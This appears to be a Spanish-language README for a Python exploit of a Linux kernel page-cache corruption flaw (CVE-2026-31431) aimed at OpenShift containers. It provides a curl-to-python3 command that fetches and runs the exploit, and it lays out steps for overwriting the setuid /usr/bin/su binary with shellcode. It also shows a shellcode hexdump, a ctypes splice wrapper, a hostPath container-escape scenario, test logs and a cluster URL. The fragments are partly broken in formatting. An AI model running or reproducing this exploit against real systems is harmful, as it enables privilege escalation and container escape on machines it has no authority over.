
Exploit para el kernel de Linux CVE-2026-31431 que provoca corrupción de la caché de páginas mediante la manipulación de authencesn AEAD, dirigido a la escalada de privilegios en contenedores y entornos OpenShift.
Corrupción de la caché de páginas del kernel de Linux mediante manipulación de AEAD authencesn.
Después de pruebas exhaustivas en múltiples clústeres OpenShift 4.20.16 con kernels RHEL 9.6:
Consulte la sección Resultados de Pruebas Exhaustivas para obtener detalles completos.
CVE-2026-31431 es una vulnerabilidad del kernel de Linux en la implementación criptográfica AEAD authencesn que permite a procesos sin privilegios corromper la caché de páginas de archivos legibles mediante sockets AF_ALG y manipulación de la llamada al sistema splice().
Las pruebas muestran: La corrupción de la caché de páginas funciona de manera confiable, pero la escalada de privilegios NO ocurre en kernels RHEL 9.6 en nuestros entornos de prueba.
Puntuación CVSS: 7.8 (Alta)
Afectados: Versiones del kernel de Linux con soporte authencesn (2017-2026)
Divulgación Pública: 29 de abril de 2026
splice() mediante ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Desde Archivo Local```bash
python3 exploit.py
su
Lo que SÍ ocurrirá:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Verificación de caché de página (confirma corrupción):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Lo que NO sucederá (según las pruebas):```bash
su
id -u
**Conclusión:** La corrupción de la caché de páginas tiene éxito, pero la escalada de privilegios falla.
## Detalles Técnicos
### Vulnerabilidad
La implementación de `authencesn` (Cifrado Autenticado con Datos Asociados - Número de Secuencia Extendido) del kernel de Linux tiene una falla en su manejo de operaciones in-place. Al procesar operaciones AEAD enviadas a través de un socket AF_ALG, una página de la caché de páginas puede terminar en la lista de dispersión (scatterlist) de destino escribible del kernel.
### Técnica de Explotación
1. **Crear socket AF_ALG** con `authencesn(hmac(sha256),cbc(aes))`
2. **Configurar parámetros AEAD** (clave, authsize)
3. **Abrir binario setuid objetivo** (p. ej., `/usr/bin/su`)
4. **Usar splice()** para llevar el binario a la caché de páginas
5. **Desencadenar operación AEAD in-place** que causa escritura en la caché de páginas
6. **Escribir shellcode** 4 bytes a la vez
7. **Ejecutar binario modificado** para obtener root
### Shellcode
El exploit usa un shellcode de 160 bytes que parchea `/usr/bin/su` para:
- Omitir la autenticación de contraseña
- Otorgar acceso a una shell root
- Mantener la funcionalidad normal para usuarios sin privilegios
## Compatibilidad con Python 3.9
Python 3.9 y versiones anteriores no tienen `os.splice()` en la biblioteca estándar. Este exploit incluye una implementación basada en ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
Esto hace que el exploit funcione en:
Configuración del Nodo:
Resultados de las Pruebas:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Entorno de Prueba 2: Clúster OpenShift Nuevo (Prueba de Verificación)
**Clúster:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuración del Nodo:**
- Kernel: 5.14.0-570.96.1.el9_6.x86_64 (idéntico a la Prueba 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (verificado)
- UID: 1000810000 (espacio de nombres de usuario)
- Capacidades: 0x0000000000000000 (CERO)
**Resultados de la Prueba:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Consistencia: Resultados 100% reproducibles en clústeres independientes
Escenario A: Con volumen hostPath (Escape de contenedor posible)```yaml volumes:
Resultado: ✅ **Escape del contenedor** - modifica la caché de páginas del host (Dispositivo 33, Inodo 4288)
**Escenario B: SCC restringido-v2 (sin hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Resultado: ❌ Sin escape de contenedor - solo afecta al overlay del contenedor (inodo separado)
Hallazgo crítico: el acceso a hostPath (no las capacidades) es el factor determinante para el escape de contenedor.
Explicaciones posibles (requiere investigación adicional):